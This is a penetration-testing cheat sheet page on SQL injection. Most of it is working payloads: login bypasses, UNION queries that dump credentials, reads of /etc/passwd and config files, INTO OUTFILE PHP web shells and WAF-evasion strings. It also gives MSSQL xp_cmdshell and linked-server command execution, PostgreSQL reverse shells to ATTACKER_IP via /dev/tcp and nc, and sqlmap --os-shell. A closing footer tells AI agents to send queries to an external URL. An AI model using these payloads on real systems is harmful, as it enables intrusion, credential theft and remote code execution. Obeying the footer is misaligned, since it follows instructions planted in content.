# Testing for SQL

***

## How SQL Injection Works

When user input is inserted directly into SQL queries without sanitization, attackers can break out of the intended query and execute arbitrary SQL.

### Vulnerable PHP Code Example

```php
$username = $_POST['username'];
$query = "SELECT * FROM logins WHERE username='$username'";
```

If user inputs: `admin'-- -`

Query becomes:

```sql
SELECT * FROM logins WHERE username='admin'-- -'
```

The `-- -` comments out the rest, bypassing any password check.

***

## SQLi Discovery

### Escape Context Characters

Try these to break out of the current query context:

```
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
```

### Test Payloads

| Payload | URL Encoded |
| ------- | ----------- |
| `'`     | `%27`       |
| `"`     | `%22`       |
| `` ` `` | `%60`       |
| `#`     | `%23`       |
| `;`     | `%3B`       |
| `)`     | `%29`       |
| `')`    | `%27%29`    |
| `"))`   | `%22%29%29` |

If you get a SQL error or different behavior, injection may be possible.

***

## SQL Comments (End Query Early)

| DBMS       | Comment Syntax                              |
| ---------- | ------------------------------------------- |
| MySQL      | `#`, `-- -` (space required), `/*comment*/` |
| PostgreSQL | `--`, `/*comment*/`                         |
| MSSQL      | `--`, `/*comment*/`                         |
| Oracle     | `--`                                        |
| SQLite     | `--`, `/*comment*/`                         |

**Note:** `--` requires a space after. Use `-- -` or URL encode as `--+`

***

## Types of SQL Injection

| Type              | Description                                        |
| ----------------- | -------------------------------------------------- |
| **Union-based**   | Results visible on page, use UNION to extract data |
| **Error-based**   | Database errors reveal query output                |
| **Boolean Blind** | True/false responses based on conditions           |
| **Time Blind**    | Use SLEEP() to infer data based on response time   |
| **Out-of-band**   | Exfiltrate data via DNS or HTTP requests           |

***

## Authentication Bypass

### Common Payloads

```sql
admin'-- -
admin'#
' OR '1'='1'-- -
' OR '1'='1'#
' OR 1=1-- -
admin' OR '1'='1
') OR ('1'='1
admin')-- -
```

### How `OR` Injection Works

Original query:

```sql
SELECT * FROM logins WHERE username='$user' AND password='$pass';
```

With input `admin' OR '1'='1'-- -`:

```sql
SELECT * FROM logins WHERE username='admin' OR '1'='1'-- -' AND password='anything';
```

Since `'1'='1'` is always true, authentication is bypassed.

### When Auth Bypass Payloads Get Blocked

If classic login bypasses get blocked but a single quote still produces a database error, continue testing the same parameter for UNION injection instead of stopping at auth bypass.

```http
username=admin'&password=admin
# SQL syntax error without triggering the block page
```

Use the username field as the injection point and keep the password boring:

```sql
' ORDER BY 2-- -
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL,NULL-- -
' UNION SELECT 1,2,3,4,5-- -
```

Once a visible column is identified, enumerate normally:

```sql
' UNION SELECT 1,@@version,3,4,5-- -
' UNION SELECT 1,user(),3,4,5-- -
' UNION SELECT 1,database(),3,4,5-- -
' UNION SELECT 1,schema_name,3,4,5 FROM information_schema.schemata-- -
' UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_schema='database_name'-- -
' UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,CONCAT(username,':',password),3,4,5 FROM users-- -
```

If the dumped values look like base64 (`A-Z`, `a-z`, `0-9`, `+`, `/`, often ending in `=`), decode and try them against other exposed services such as SSH or Cockpit.

***

## UNION Injection

UNION combines results from multiple SELECT statements. Both queries must return the same number of columns.

### Step 1: Detect Number of Columns

#### Method A: ORDER BY

```sql
' ORDER BY 1-- -     # works
' ORDER BY 2-- -     # works
' ORDER BY 3-- -     # works
' ORDER BY 4-- -     # ERROR - table has 3 columns
```

#### Method B: UNION SELECT

```sql
' UNION SELECT NULL-- -           # error
' UNION SELECT NULL,NULL-- -      # error
' UNION SELECT NULL,NULL,NULL-- - # success - 3 columns
```

### Step 2: Find Visible Columns

```sql
' UNION SELECT 1,2,3-- -
```

If page displays `2` and `3`, those columns are visible for data extraction.

### Step 3: Extract Data

```sql
' UNION SELECT 1,@@version,3-- -
' UNION SELECT 1,user(),3-- -
' UNION SELECT 1,database(),3-- -
```

***

## Database Enumeration

### MySQL Fingerprinting

| Payload            | Expected Output              |
| ------------------ | ---------------------------- |
| `SELECT @@version` | MySQL/MariaDB version string |
| `SELECT POW(1,1)`  | `1` (numeric test)           |
| `SELECT SLEEP(5)`  | 5 second delay               |

### Enumerate Databases

```sql
' UNION SELECT 1,schema_name,3 FROM information_schema.schemata-- -
```

### Current Database

```sql
' UNION SELECT 1,database(),3-- -
```

### Enumerate Tables

```sql
' UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema='database_name'-- -
```

### Enumerate Columns

```sql
' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- -
```

### Dump Data

```sql
' UNION SELECT 1,username,password FROM users-- -

-- Concat multiple columns
' UNION SELECT 1,CONCAT(username,':',password),3 FROM users-- -
' UNION SELECT 1,CONCAT(username,0x3a,password),3 FROM users-- -
```

***

## MySQL Useful Functions & Variables

```sql
-- Functions
@@version                    -- MySQL version
user()                       -- Current user
database()                   -- Current database
schema()                     -- Current schema
system_user()                -- System user
session_user()               -- Session user
current_user()               -- Current user
UUID()                       -- UUID

-- Variables
@@hostname                   -- Server hostname
@@datadir                    -- Data directory path
@@basedir                    -- MySQL install path
@@tmpdir                     -- Temp directory
@@log                        -- Log path
@@log_error                  -- Error log path
@@version_comment            -- Version comment
@@version_compile_os         -- Compile OS
@@version_compile_machine    -- Compile machine
@@GLOBAL.have_symlink        -- Symlink support
@@GLOBAL.have_ssl            -- SSL support
```

***

## File Read (MySQL)

### Check FILE Privilege

```sql
' UNION SELECT 1,super_priv,3 FROM mysql.user WHERE user='root'-- -
' UNION SELECT 1,grantee,privilege_type FROM information_schema.user_privileges-- -
```

### Read Files with LOAD\_FILE()

```sql
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3-- -
```

***

## File Write (MySQL)

### Check secure\_file\_priv

```sql
' UNION SELECT 1,variable_name,variable_value FROM information_schema.global_variables WHERE variable_name='secure_file_priv'-- -

-- Or from a MySQL shell:
SHOW VARIABLES LIKE "secure_file_priv";
-- Empty value = write allowed anywhere
```

* Empty = can write anywhere
* `/path/` = can only write to that directory
* NULL = cannot write files

### Write Files with INTO OUTFILE

```sql
' UNION SELECT 1,'test',3 INTO OUTFILE '/var/www/html/test.txt'-- -
```

### Write Web Shell

```sql
' UNION SELECT "",'<?php system($_REQUEST[0]); ?>',"","" INTO OUTFILE '/var/www/html/shell.php'-- -

-- Windows (know the webroot!)
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php';

-- Linux
SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/shell.php';
```

Then access: `http://target/shell.php?0=id`

***

## Web Root Paths

| Server         | Common Paths                                |
| -------------- | ------------------------------------------- |
| Apache (Linux) | `/var/www/html/`, `/var/www/`, `/srv/http/` |
| Nginx (Linux)  | `/var/www/html/`, `/usr/share/nginx/html/`  |
| IIS (Windows)  | `C:\inetpub\wwwroot\`                       |
| XAMPP          | `/xampp/htdocs/`, `C:\xampp\htdocs\`        |

***

## Blind SQL Injection

### Boolean-Based

```sql
-- If page loads normally when true, different when false
' AND 1=1-- -    # true
' AND 1=2-- -    # false

-- Extract data character by character
' AND SUBSTRING(database(),1,1)='a'-- -
' AND SUBSTRING(database(),1,1)='b'-- -
' AND ASCII(SUBSTRING(database(),1,1))>97-- -
```

### Time-Based

```sql
' AND SLEEP(5)-- -
' AND IF(1=1,SLEEP(5),0)-- -
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)-- -
```

***

## Second-Order SQL Injection

Payload stored in database, executed later in different query.

Example: Register with username `admin'-- -`, later displayed/used in vulnerable query.

**Pattern:** First query uses prepared statements (safe); a second query uses the *result* of the first in plain concatenation. Example: first query fetches `username, country` by cookie (parameterized); second query does `SELECT ... WHERE country = '" . $row['country'] . "'` with no prepared statement — so stored payload in `country` is executed in the second query.

Vulnerable PHP example (from HTB Validation):

```php
<?php
  include('config.php');
  $user = $_COOKIE['user'];
  $sql = "SELECT username, country FROM registration WHERE userhash = ?";
  $stmt = $conn->prepare($sql);
  $stmt->bind_param("s", $user);
  $stmt->execute();

  $result = $stmt->get_result();
  $row = $result->fetch_assoc();
  echo '<h1 class="text-white">Welcome ' . $row['username'] . '</h1>';
  echo '<h3 class="text-white">Other Players In ' . $row['country'] . '</h3>';
  $sql = "SELECT username FROM registration WHERE country = '" . $row['country'] . "'";  // no prepared statement — stored payload in country runs here
  $result = $conn->query($sql);
  while ($row = $result->fetch_assoc()) {
    echo "<li class='text-white'>" . $row['username'] . "</li>";
  }
?>
```

Attack: register with `country=Brazil' UNION ALL SELECT ... -- -` (or time-based payload); when account page loads, second query executes the stored payload.

***

## WAF Bypass Techniques

### Case Manipulation

```sql
UniOn SeLeCt
uNiOn SeLeCt
```

### Comment Injection

```sql
UN/**/ION/**/SEL/**/ECT
/*!UNION*//*!SELECT*/
```

### URL Encoding

```
UNION  →  %55%4e%49%4f%4e
SELECT →  %53%45%4c%45%43%54
```

### Double URL Encoding

```
' → %27 → %2527
```

### Whitespace Alternatives

```sql
/**/     -- comment as space
%09      -- tab
%0a      -- newline
%0d      -- carriage return
```

### Operator Alternatives

```sql
AND   →  &&  →  %26%26
OR    →  ||  →  %7C%7C
=     →  LIKE, REGEXP, RLIKE, not < and not >
> X   →  not between 0 and X
WHERE →  HAVING
```

### UNION SELECT Bypass Strings

```
union select
!UNiOn*/ /*!SeLEct*/
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
%2f**%2funion%2f**%2fselect
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
/*--*/union/*--*/select/*--*/
/*!union*/+/*!select*/
union+/*!select*/
/**/union/**/select/**/
/**/uNIon/**/sEleCt/**/
+union+distinct+select+
+union+distinctROW+select+
+UnIOn%0D%0ASeleCt%0D%0A
```

### Hex Spacing for Gaps

```
0x1a  -- no space
0x2a  -- *
0x3a  -- :
0x4a  -- J
0x5a  -- Z
0x10a -- SPACE
```

***

## MSSQL Specific

### Version

```sql
SELECT @@version
```

### Current User

```sql
SELECT user_name()
SELECT system_user
```

### Databases

```sql
SELECT name FROM master..sysdatabases
```

### Tables

```sql
SELECT name FROM sysobjects WHERE xtype='U'
```

### Enable xp\_cmdshell (RCE)

```sql
EXEC sp_configure 'show advanced options', '1'
RECONFIGURE
EXEC sp_configure 'xp_cmdshell', '1'
RECONFIGURE
xp_cmdshell 'whoami'
```

### Execute on Linked Server

```sql
-- Check linked servers
SELECT srvname, isremote FROM sysservers

-- Execute on linked server
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LINKED.SERVER]

-- Enable xp_cmdshell on linked server
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [LINKED.SERVER];

-- Execute commands on linked server
EXEC ('xp_cmdshell ''whoami''') AT [LINKED.SERVER];
```

### Check Impersonation Rights

```sql
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
```

### Impersonate User

```sql
EXECUTE AS LOGIN = 'john'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
```

## PostgreSQL Specific

### Version

```sql
SELECT version()
```

### Current User

```sql
SELECT current_user
```

### Databases

```sql
SELECT datname FROM pg_database
```

### Tables

```sql
SELECT tablename FROM pg_tables WHERE schemaname='public'
```

### File Read

```sql
-- Method 1: pg_read_file (superuser only)
SELECT pg_read_file('/etc/passwd')

-- Method 2: COPY FROM (requires table creation)
CREATE TABLE read_files(output text);
COPY read_files FROM '/etc/passwd';
SELECT * FROM read_files;

-- Method 3: Large Object
SELECT lo_import('/etc/passwd');
SELECT * FROM pg_largeobject;
```

### Command Execution

```sql
-- Method 1: COPY TO PROGRAM
COPY (SELECT '') TO PROGRAM 'id';

-- Method 2: Reverse shell
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"';

-- Method 3: COPY FROM PROGRAM (alternative)
CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f';
```

***

## Oracle Specific

### Version

```sql
SELECT banner FROM v$version
```

### Current User

```sql
SELECT user FROM dual
```

### Tables

```sql
SELECT table_name FROM all_tables
```

### Columns

```sql
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'
```

***

## Remote MySQL Connection

```bash
mysql -h $ip -u root -p
mysql -h $ip -u root -p'password'
mysql -h $ip -P 3306 -u root -p
```

### After Connection

```sql
SHOW DATABASES;
USE database_name;
SHOW TABLES;
DESCRIBE table_name;
SELECT * FROM users;
```

### Change WordPress Password

```sql
SELECT ID, user_login, user_pass FROM wp_users WHERE user_login='admin';
UPDATE wp_users SET user_pass='c424ada17bf6e27794273b7db21cf950' WHERE user_login='admin';
-- Password is now 'rowbot' (MD5)
```

***

## Output Format Fix

When SQL output is messy in terminal:

```sql
SELECT * FROM users;      -- table format
SELECT * FROM users\G     -- vertical format (cleaner)
```

***

## UNION Injection Full Walkthrough

Step-by-step example against a search form vulnerable to SQL injection.

### 1. Identify Injection Point

Input a single quote `'` into the search field. If you get a SQL error, injection is likely:

```
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1
```

### 2. Fuzz for SQLi with ffuf

Save the POST request from Burp with the injection point and fuzz with a SQLi wordlist:

```bash
ffuf -request search.req -request-proto http -w /path/to/sqli-basic.txt -fs 878
```

### 3. Determine Column Count

Increment the UNION SELECT column count until the error disappears:

```
searchitem=1'+UNION+SELECT+1--+-
# Error: The used SELECT statements have a different number of columns

searchitem=1'+UNION+SELECT+1,2,3,4--+-
# No error — 4 columns confirmed
```

### 4. Identify Visible Columns

```
searchitem=1'+UNION+SELECT+1,2,3,4--+-
# Columns 2, 3, and 4 are displayed on the page
```

### 5. Extract Database Name

```
searchitem=1'+UNION+SELECT+1,2,3,database()--+-
# Output: status
```

### 6. Enumerate Tables

```
searchitem=1'+UNION+SELECT+1,2,3,table_name+FROM+information_schema.tables+WHERE+table_schema='status'--+-
# Output: company, users
```

### 7. Enumerate Columns

```
searchitem=1'+UNION+SELECT+1,2,3,column_name+FROM+information_schema.columns+WHERE+table_name='users'--+-
# Output: current_connections, total_connection, user, id, password, username
```

### 8. Dump Credentials

```
searchitem=1'+UNION+SELECT+1,username,password,4+FROM+status.users--+-
```

***

## SQLMap

**See dedicated page:** [SQLMap Guide](/tool-guides/sqlmap.md)

Quick commands:

```bash
# Basic scan
sqlmap -u "http://target.com/page.php?id=1" --batch

# From Burp request
sqlmap -r request.txt --batch

# Enumerate & dump
sqlmap -u "URL" --dbs
sqlmap -u "URL" -D dbname --tables
sqlmap -u "URL" -D dbname -T users --dump

# OS shell
sqlmap -u "URL" --os-shell --technique=E
```

**After SQLi (file-write, no interactive shell):** If you get DB creds (e.g. from `config.php` via LFI or file-read) and a webshell on the same host, run **MySQL one-shot** from the shell: `mysql -u USER -p'PASS' -e "show tables;" dbname`. No need for a stabilized reverse shell. Prefer the **wright.php** webshell (`/usr/share/webshells/php/wright.php`) over a minimal `?cmd=` shell—see [Shells / web-shells](https://github.com/jtaubs1/OSCP-Prep/blob/main/web/Shells/web-shells/README.md) and sqlmap `--file-write`.

***

## Resources

* [PayloadsAllTheThings SQLi](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
* [HackTricks SQLi](https://book.hacktricks.xyz/pentesting-web/sql-injection)
* [PortSwigger SQLi Cheat Sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://book.ice-wzl.xyz/web/sqli.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
